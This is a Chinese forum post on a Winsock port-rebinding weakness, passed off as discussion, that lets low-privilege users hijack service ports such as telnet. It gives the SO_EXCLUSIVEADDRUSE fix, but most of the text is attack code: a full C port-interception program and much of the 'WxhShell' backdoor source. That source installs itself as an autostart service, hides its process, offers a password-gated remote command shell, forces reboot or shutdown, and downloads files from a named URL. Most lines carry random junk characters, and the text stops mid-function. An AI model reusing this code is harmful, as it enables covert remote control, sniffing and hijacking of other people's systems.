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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #1'q'f:7 &  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zu @|"f^`  
95@u|#n  
  saddr.sin_family = AF_INET; q5e(~@(z<`  
%+j/nA1%S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N)Q_z9b=  
v0 :n:q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F=e;[uK\  
-Z ,r\9d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `Ze$Bd\  
UG`~RO  
  这意味着什么?意味着可以进行如下的攻击: Y(7&3+'K  
@~ke=w6&pe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ` wEX;  
|wuTw|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A)n_ST0  
k0V]<#h87  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r7R'beiH  
z3S"1L7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =h-E N_[  
|Sjy   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !% W5@tN  
F6yFKNK!n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K(u pz n*a  
us|Hb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1DcBF@3sWG  
Q}B]b-c+E  
  #include QEt"T7a[/  
  #include (jU_lsG  
  #include UwS7B~  
  #include    )GG9[%H!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xgIb6<qwY  
  int main() aIa<,  
  { '1 2*'Q+{+  
  WORD wVersionRequested; =L#&`s@)_  
  DWORD ret; tP! %(+V  
  WSADATA wsaData; 8493Sw  
  BOOL val; KM[0aXOtv  
  SOCKADDR_IN saddr; d38o*+JCf  
  SOCKADDR_IN scaddr; AH'c:w]~  
  int err; !zOj`lx  
  SOCKET s; )HE{`yiLL  
  SOCKET sc; &K'*67h  
  int caddsize; lJFy(^KQG,  
  HANDLE mt; ~Oq _lM  
  DWORD tid;   7M~/ q.  
  wVersionRequested = MAKEWORD( 2, 2 ); ? eX$Wc{  
  err = WSAStartup( wVersionRequested, &wsaData ); AeEdqX)  
  if ( err != 0 ) { 71[?AmxV  
  printf("error!WSAStartup failed!\n"); 2=K|kp5  
  return -1; sHBTB6)lx  
  } ghB&wOm/  
  saddr.sin_family = AF_INET; -n|>U:  
   c$ib-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V^Z5i]zT  
GP4!t~"1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r?[[.zm"7  
  saddr.sin_port = htons(23); e'$[PF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *\'t$se+  
  { T$u'+* Xx  
  printf("error!socket failed!\n"); s&V sK#  
  return -1; 7/hn%obC  
  } YL|)`m0-^5  
  val = TRUE; n5"oXpcIx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J7",fb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Yu" Q  
  { $k&v juB.  
  printf("error!setsockopt failed!\n"); VV1sadS:S`  
  return -1; Ow>u!P!  
  } K5LJx-x*j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?'f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &':C"_|&r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cd1-2-4U  
r{r~!=u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Hm>cKPZ)  
  { .>TG{>sH  
  ret=GetLastError(); z0+JMZ/  
  printf("error!bind failed!\n"); g9 ^\Q Yh!  
  return -1; lFtEQ '}  
  } <FBH;}]  
  listen(s,2); Fl($0}ER  
  while(1) o[KZm17  
  { :t`W&z41  
  caddsize = sizeof(scaddr); oZ/"^5  
  //接受连接请求 GO2q"a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Pi5MFw'v  
  if(sc!=INVALID_SOCKET) !\{2s!l~  
  { r3' DXP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?F]P=S:x  
  if(mt==NULL) Xux[  
  { @ntwdv;  
  printf("Thread Creat Failed!\n"); rz&V.,s  
  break; iB W:t  
  } c.LRS$o/j  
  } tik*[1it  
  CloseHandle(mt); | WJ]7C  
  } \PT!mbB?  
  closesocket(s); hY{4_ie=8  
  WSACleanup(); YC 4c-M  
  return 0; FEu}zt@  
  }   ?/MkH0[G=  
  DWORD WINAPI ClientThread(LPVOID lpParam) d m"R0>  
  { NvIg,@}  
  SOCKET ss = (SOCKET)lpParam; Wf "$  
  SOCKET sc; S)zw[m  
  unsigned char buf[4096]; 9*FA=E  
  SOCKADDR_IN saddr; U}X'RCM  
  long num; JXkx!X_{  
  DWORD val; %fS1g Sf h  
  DWORD ret; <Ez@cZ"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0$`pYW]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ku*k+4rz  
  saddr.sin_family = AF_INET; qk'&:A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y1r'\@L w  
  saddr.sin_port = htons(23); ZMMx)}hS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ec#`9w$  
  {  gh[q*%#  
  printf("error!socket failed!\n"); .4E24FB[f?  
  return -1; :9 (kU  
  } 8iD7K@  
  val = 100; rU9")4sQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PO'K?hVS^w  
  { lGp:rw`  
  ret = GetLastError(); {~51h}>b#  
  return -1; <`Fl Igo  
  } r0k :RJP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x1wD`r  
  { H(n fHp.3  
  ret = GetLastError(); S"Vr+x?  
  return -1; *^]  
  } ~2hzyEh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X$u l=iBs  
  { @ ^F{  
  printf("error!socket connect failed!\n"); kb~ s, @p  
  closesocket(sc); 1r.2bL*~jw  
  closesocket(ss); @qcUxu4  
  return -1; GNmP_N  
  } Em Ut/]  
  while(1) ] g9SUFM  
  { .yUD\ZGJ u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R6 ej  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Kk=>"?&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V]Ccj\Oi  
  num = recv(ss,buf,4096,0); >#r0k|3J^J  
  if(num>0) {-7ovH?  
  send(sc,buf,num,0); `R (N3  
  else if(num==0) VWdTnu  
  break; Tg@G-6u0c  
  num = recv(sc,buf,4096,0); .Gr"| uII  
  if(num>0) YSB> WBS-<  
  send(ss,buf,num,0); 9({ 9r[U  
  else if(num==0) ;6 d-+(@  
  break; ={o4lFe3v(  
  } {c?{M.R  
  closesocket(ss); ^|h_[>  
  closesocket(sc); 7mi=Xa:U  
  return 0 ; .XK3o .ZhW  
  } ?S=y>b9R  
dmkGIg}  
I31Nu{  
========================================================== d/oD]aAEr  
h8.(Q`tli  
下边附上一个代码,,WXhSHELL 8TH;6-RT  
{s*1QBM$\Z  
========================================================== 1n2Pr'|s  
t`}=~/#`X  
#include "stdafx.h" !7]^QdBLY  
?t\GHQ$$?  
#include <stdio.h> 7w5l[a/  
#include <string.h> /P[u vO  
#include <windows.h> +  rN#  
#include <winsock2.h> \C;Yn6PK0  
#include <winsvc.h> .aWwJZ=[  
#include <urlmon.h> 9(=+OQ6  
z/5TYv)S  
#pragma comment (lib, "Ws2_32.lib") *pS3xit~  
#pragma comment (lib, "urlmon.lib") %y>*9$<pXe  
'dQGb-<_<  
#define MAX_USER   100 // 最大客户端连接数 3\ )bg R:  
#define BUF_SOCK   200 // sock buffer It3@ Cd>  
#define KEY_BUFF   255 // 输入 buffer d\A7}_r*x  
~Odclrs  
#define REBOOT     0   // 重启 &BKnJ {,H  
#define SHUTDOWN   1   // 关机 2^5RQl/  
C)qG<PW.!  
#define DEF_PORT   5000 // 监听端口 60|m3|0o  
^N ;TCn  
#define REG_LEN     16   // 注册表键长度 GmUm?A@B  
#define SVC_LEN     80   // NT服务名长度 kp?_ir  
o"N\l{#s  
// 从dll定义API o4rf[.z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bTYR=^9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g rQ,J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _,Q -)\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i[33u p  
S[8n GH#m  
// wxhshell配置信息 {}Afah  
struct WSCFG { )!zg=}V  
  int ws_port;         // 监听端口 )WEOqaR]  
  char ws_passstr[REG_LEN]; // 口令 T 9}dgf  
  int ws_autoins;       // 安装标记, 1=yes 0=no |l|$ Q;  
  char ws_regname[REG_LEN]; // 注册表键名 j~Ci*'*L  
  char ws_svcname[REG_LEN]; // 服务名 DvI^3iG8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <Z1m9O "sy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 - t 4F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6I]{cm   
int ws_downexe;       // 下载执行标记, 1=yes 0=no }ew )QHd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,*L3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _!vuDv%  
*gwo.s  
}; *m&'6qsS  
qvh8~[  
// default Wxhshell configuration #x6w M~  
struct WSCFG wscfg={DEF_PORT, X*)DpbWd  
    "xuhuanlingzhe", :9>U+)%  
    1, Oeg^%Y   
    "Wxhshell", .nA9irc  
    "Wxhshell", ZS&+<kGD  
            "WxhShell Service", .q 4FGPWz  
    "Wrsky Windows CmdShell Service", =':SOO7  
    "Please Input Your Password: ", loyhNT=  
  1, a|dn3R>vX  
  "http://www.wrsky.com/wxhshell.exe", +9;6]4  
  "Wxhshell.exe" Ni;jMc  
    }; EUPc+D3  
\3 rgwbF  
// 消息定义模块 T%TO?[cN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oSR;Im<2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sw(|EZ7F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c/-'^+9  
char *msg_ws_ext="\n\rExit."; }mk z_P(Z  
char *msg_ws_end="\n\rQuit."; ( ~>-6Nb 5  
char *msg_ws_boot="\n\rReboot..."; tg2+Z\0)4g  
char *msg_ws_poff="\n\rShutdown..."; -?)z@Lc  
char *msg_ws_down="\n\rSave to "; !|,djo!N  
)Ee`11  
char *msg_ws_err="\n\rErr!"; =@;\9j  
char *msg_ws_ok="\n\rOK!"; )RT:u)N  
-{*QjP;K  
char ExeFile[MAX_PATH]; UQT=URS  
int nUser = 0; 6I5LZ^/G9  
HANDLE handles[MAX_USER]; NdI~1kemr  
int OsIsNt; %wq;<'W  
`4|:8@,3{  
SERVICE_STATUS       serviceStatus; ^ -lWv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .k5&C/jv  
)*BG-nM u  
// 函数声明 jpiBHi]5+  
int Install(void); EBUCG"e  
int Uninstall(void); Q\le3KB  
int DownloadFile(char *sURL, SOCKET wsh); Q"GZh.m  
int Boot(int flag); ?[X^'zz}  
void HideProc(void); cEPqcy *  
int GetOsVer(void); 2B=BRVtSs  
int Wxhshell(SOCKET wsl); [:{HX U7y  
void TalkWithClient(void *cs); @PKY>58)  
int CmdShell(SOCKET sock); Y)C!N$=@Q  
int StartFromService(void); k`0m|<$  
int StartWxhshell(LPSTR lpCmdLine); Q,>]f@m  
{@X)=.Zf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _s0;mvz'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X_wPuU%  
6oR5q 4  
// 数据结构和表定义 p<(b^{EX  
SERVICE_TABLE_ENTRY DispatchTable[] = JjH141 n%D  
{ &UX:KW`=  
{wscfg.ws_svcname, NTServiceMain}, \2 `|eo  
{NULL, NULL} gCI{g. [I!  
}; T^nOv2@,  
S),acc(d  
// 自我安装 H')8p;~{}  
int Install(void) I^gLiLUN*6  
{ '!XVz$C  
  char svExeFile[MAX_PATH]; oMb@)7  
  HKEY key; YGCBDH%6  
  strcpy(svExeFile,ExeFile); rn-CQ2{?  
5oY^; )\/  
// 如果是win9x系统,修改注册表设为自启动 =zwn3L8fL  
if(!OsIsNt) { ,D{D QJ(B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -j}zr yG-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f;a55%3c  
  RegCloseKey(key); Ob h@d|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m+dJ3   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9.l*#A^  
  RegCloseKey(key); [Pz['q L3t  
  return 0; &jE@i#  
    } y-a3  
  } {bO O?pp  
} #J*hZ(Pq  
else { p) m0\  
a~Y`N73/c  
// 如果是NT以上系统,安装为系统服务 <3[0A;W=1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lemUUl(^  
if (schSCManager!=0) YyD0g9{  
{ QWAtF@qTV  
  SC_HANDLE schService = CreateService $36.*s m  
  ( P^m&oH5]EG  
  schSCManager, /9@ VnM  
  wscfg.ws_svcname, @A8@j%CK1  
  wscfg.ws_svcdisp, j4]y(AA  
  SERVICE_ALL_ACCESS, sk~inIj-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 63pd W/\j  
  SERVICE_AUTO_START, <2fgao&-n  
  SERVICE_ERROR_NORMAL, 7NQEnAl  
  svExeFile, a/lTQj]A  
  NULL, kuo!}QFL  
  NULL, 7toDk$jJRg  
  NULL, =$F<Ac;&  
  NULL, 8@d@T V!n&  
  NULL V*F |Yo:  
  ); Hie  
  if (schService!=0) ?!$:I8T  
  { }9 I,p$  
  CloseServiceHandle(schService); Ws:MbZyr  
  CloseServiceHandle(schSCManager); 9wP,Z"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V%[34G  
  strcat(svExeFile,wscfg.ws_svcname); cPPTGpqw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9 kLA57  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }<=_&n  
  RegCloseKey(key); "<yJ<lS&>  
  return 0; a3SBEkC  
    } Q-y`IPtA<  
  } o%[swoM@  
  CloseServiceHandle(schSCManager); Zd8`95  
} u\o~'Jz  
} &[y+WrGG  
D` 2w>{Y  
return 1; fsUZG6  
} w'a3=_nW  
~r?VXO p"  
// 自我卸载 }5lC8{wZ  
int Uninstall(void) p?'&P!  
{ x5eSPF1  
  HKEY key; -$cO0RSY  
5O"$'iL  
if(!OsIsNt) { w7QYWf'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o&#!W(   
  RegDeleteValue(key,wscfg.ws_regname); E{{Kz r2$  
  RegCloseKey(key); C,VvbB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t-)d*|2n}o  
  RegDeleteValue(key,wscfg.ws_regname); jAy 0k  
  RegCloseKey(key); X v$"B-j  
  return 0; cng166}1A  
  } ZFRKzPc {V  
} 80 ckh  
} tYMPqP,1.  
else { 1}3tpO;  
`{9bf)vP6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WGHf?G/s  
if (schSCManager!=0) . pyNET  
{ #;/ob-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,#K{+1z:  
  if (schService!=0) Yp EH(tq  
  { 3U%kf<m=  
  if(DeleteService(schService)!=0) { U}DLzn|w  
  CloseServiceHandle(schService); J(w 3A)(  
  CloseServiceHandle(schSCManager); :r9<wbr)k0  
  return 0; t"jiLOQ[6  
  } D4$2'h  
  CloseServiceHandle(schService); /o9 0O&  
  } [Z;ei1l  
  CloseServiceHandle(schSCManager); O9_SVXWVw  
} 7R$O ~R3p  
} sq;3qbz  
-mLS\TFS  
return 1; #M@~8dAH}M  
} 5Kw?#  
i7%`}t  
// 从指定url下载文件 B0D  
int DownloadFile(char *sURL, SOCKET wsh) %BF,;(P  
{ qIvnPaYW  
  HRESULT hr; 4|;Ys-Q  
char seps[]= "/"; $+$4W\-=X  
char *token; vL8Rg} Jh4  
char *file; iAZbh"I  
char myURL[MAX_PATH]; sq?js#C5  
char myFILE[MAX_PATH]; S ^$!n,  
JJy.)-R  
strcpy(myURL,sURL); `\J,%J  
  token=strtok(myURL,seps); P~s u]+  
  while(token!=NULL) zJov*^T-C  
  { yX/{eX5dr  
    file=token; $N\k*=  
  token=strtok(NULL,seps); 8&yI1XM|  
  } UT0}Ce>e  
GI6]Ecc  
GetCurrentDirectory(MAX_PATH,myFILE); B[9y<FB+  
strcat(myFILE, "\\"); :Q8*MJ3&V  
strcat(myFILE, file); V&7NN=  
  send(wsh,myFILE,strlen(myFILE),0); Q hdG(`PY~  
send(wsh,"...",3,0); DhXV=Qw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UjS+Ddp  
  if(hr==S_OK) /[E2+g  
return 0; b>Ea_3T/  
else OAf}\  
return 1; [ps4i_  
J vq)%t8q>  
} q7<=1r+  
JJ9R, 8n6  
// 系统电源模块 o pTH6a  
int Boot(int flag) WjOP2CVv|  
{ $$i Gs6az  
  HANDLE hToken; #n]K$k>  
  TOKEN_PRIVILEGES tkp; oxL)Jx\c9A  
[}yPy))A  
  if(OsIsNt) { }46Zfg\T6n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U9jdb9 |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {.ypZ8JU  
    tkp.PrivilegeCount = 1; (__$YQ-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {vdY(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \ &47u1B  
if(flag==REBOOT) { WtO@Kf:3GH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d:"7Tw2v+  
  return 0; yhrjML2K  
} HuR774f[  
else { M4(57b[`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (I/ iD.A  
  return 0; /B)2L]6p  
} Mfnfp{.)  
  } %+/Dv  
  else { r+k&W  
if(flag==REBOOT) { 'x5p ?m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5)A[NTNJx  
  return 0; .5);W;`X  
} q;*'V9#  
else { bM.$D-?dF*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rh#`AM`)j  
  return 0; S|af?IW  
} ;hF}"shJN  
} z[6avW"q  
,4Q8r:_ u  
return 1; iiF`2  
} +*,!q7Gt  
{Q c,Nl [?  
// win9x进程隐藏模块 xojt s;n   
void HideProc(void) Mdq|: ^px  
{ Z_fwvcZ?05  
P^!g0K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,:2Z6~z{  
  if ( hKernel != NULL ) Jg)( F|>o  
  { Y=?{TX=6<[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]>1`Fa6_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4>OS2b`.;  
    FreeLibrary(hKernel); I L,lXB<  
  } v|KIVBkbT  
:W6'G@ p  
return; HB`'S7Q  
} L9XfR$7,z  
N;,zPWa  
// 获取操作系统版本 R!yh0y}Z  
int GetOsVer(void) )_\;l%&  
{ W?"l6s  
  OSVERSIONINFO winfo; ?XP4kjJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D+BiclJ  
  GetVersionEx(&winfo); HEAW](s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) % 8wBZ~1-  
  return 1; $-u c#57  
  else %|ClYr  
  return 0; pL!,1D!  
} <$K=3&:s8q  
!3iZa*  
// 客户端句柄模块 IaQm)"Z  
int Wxhshell(SOCKET wsl) ({@" {  
{ 5*+DN U@  
  SOCKET wsh; 'J3yJ{  
  struct sockaddr_in client; !Z |_3  
  DWORD myID; 4_ypFuS^  
[V qiF~o,  
  while(nUser<MAX_USER) Wp+lI1t  
{ I?E+  
  int nSize=sizeof(client); 8)> T>-os  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FPkk\[EU  
  if(wsh==INVALID_SOCKET) return 1; 63J3NwFt  
>F:1a\c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .c&&@>m@.  
if(handles[nUser]==0) V8nQ/9R;  
  closesocket(wsh); $_;rqTk]g  
else <Np Mv!g  
  nUser++; /W`CqJk-*.  
  } i/I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F(zCvT   
ju3@F8AI  
  return 0; :*BN>*1^\r  
} :3XvHL0rx  
_'1 7C /  
// 关闭 socket lZ)6d-vK  
void CloseIt(SOCKET wsh) xf/K+  
{ . AOc$Nt  
closesocket(wsh); mtkZF{3Jx  
nUser--; M$Ui=GGq  
ExitThread(0); "U"fsAc#  
} 0^\H$An*k  
e$P^},0/  
// 客户端请求句柄 TB?'<hD:  
void TalkWithClient(void *cs) 0Ze&GK'Hf  
{ .>}I/+n  
D "5|\  
  SOCKET wsh=(SOCKET)cs; $] xH"Z%"  
  char pwd[SVC_LEN]; `xHpL8i$5  
  char cmd[KEY_BUFF]; XR9kxTuk  
char chr[1]; )B +o F7  
int i,j; $GU  s\  
("PZ!z1m1  
  while (nUser < MAX_USER) { R+0gn/a[G  
P^=B6>e  
if(wscfg.ws_passstr) { 0^Vw^]w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $[ S 33Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tmoCy0qWz  
  //ZeroMemory(pwd,KEY_BUFF); b;d7mh 4  
      i=0; 5%(whSKZF  
  while(i<SVC_LEN) { =OtW!vx#R.  
pfIK9>i  
  // 设置超时 xzOvc<u  
  fd_set FdRead; A'7Y{oPHX  
  struct timeval TimeOut; $H.U ~  
  FD_ZERO(&FdRead); _<jU! R  
  FD_SET(wsh,&FdRead); j^8HTa0Cy|  
  TimeOut.tv_sec=8; sC[#R.eq  
  TimeOut.tv_usec=0; sk<S`J,M/_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 88 X]Uw(+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r>|S4O  
X_nbNql  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oi& 9FS  
  pwd=chr[0]; Sin)]zG~0  
  if(chr[0]==0xd || chr[0]==0xa) { UMBeY[ ?  
  pwd=0; 3BGcDyYE  
  break; dc4XX5Z  
  } aM1WC 'c&)  
  i++; Qj1%'wWG  
    } Lg,ObVt!  
0PFC %x  
  // 如果是非法用户,关闭 socket D4(73  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T"3LO[j+  
} bv(+$YR  
 0%,W5w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YfZ5Q}*1O+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ## vP(M$  
.pe.K3G &  
while(1) { W{!5}Sh  
J Q*~le*  
  ZeroMemory(cmd,KEY_BUFF); !Sy9v  
".Q]FE@>  
      // 自动支持客户端 telnet标准   #Dgu V  
  j=0; +}( ]7du  
  while(j<KEY_BUFF) { |x1Ttr,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K"g{P  
  cmd[j]=chr[0]; i !sVQ(:  
  if(chr[0]==0xa || chr[0]==0xd) { >7X5/z  
  cmd[j]=0; 4IB`7QJq  
  break; 9 ;vES^  
  } ~2 XGw9`J2  
  j++; |5FEsts[  
    } !,Gavt7f  
`FNU- I4s  
  // 下载文件 k5tyOk  
  if(strstr(cmd,"http://")) { []N&,2O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G@~e :v)  
  if(DownloadFile(cmd,wsh)) FMn|cO.vEP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d^$cx(2$D  
  else GmJ \3]{PZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sA: /!9  
  } i=>`=. ~  
  else { tRc 3<>  
J32{#\By  
    switch(cmd[0]) { `WC4:8  
  bT9:9LP  
  // 帮助 rO#$SW$YW  
  case '?': { JUDZ_cGr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j!Ys/ D  
    break; SI%J+Y7  
  } SJj_e-  
  // 安装 .3Smqwm=Y  
  case 'i': { Vu~fF@ |  
    if(Install()) C'l\4ij)7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HlkjyD8  
    else &.z-itiV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *"F*6+}w"  
    break; h<?I?ZR0$  
    } "FGgem%9  
  // 卸载 _h=h43'3  
  case 'r': { s:,fXg25J  
    if(Uninstall()) GO][`zZJ]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XM?c*,=fu  
    else p((.(fx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P??pWzb6HH  
    break; 4U)%JK.ta  
    } $1)NYsSH/H  
  // 显示 wxhshell 所在路径 Sqmjf@o$>  
  case 'p': { Y%]g,mG  
    char svExeFile[MAX_PATH]; 6~s{HI!  
    strcpy(svExeFile,"\n\r"); c(?OE' "Z  
      strcat(svExeFile,ExeFile); ?&1%&?cg9  
        send(wsh,svExeFile,strlen(svExeFile),0); rSW{1o'  
    break; C;70,!3  
    } V)`Q0}  
  // 重启 +&_n[;   
  case 'b': { _ J"J[$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); biffBC:q  
    if(Boot(REBOOT)) 7A<}JaE!,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )0;O<G] d  
    else { {EU]\Mp0j  
    closesocket(wsh); ;yZY2)L   
    ExitThread(0); Pff-eT+~m  
    } .&^M Z8  
    break; u6\W"LW  
    } \vj xCkg{  
  // 关机 &|zV Wl  
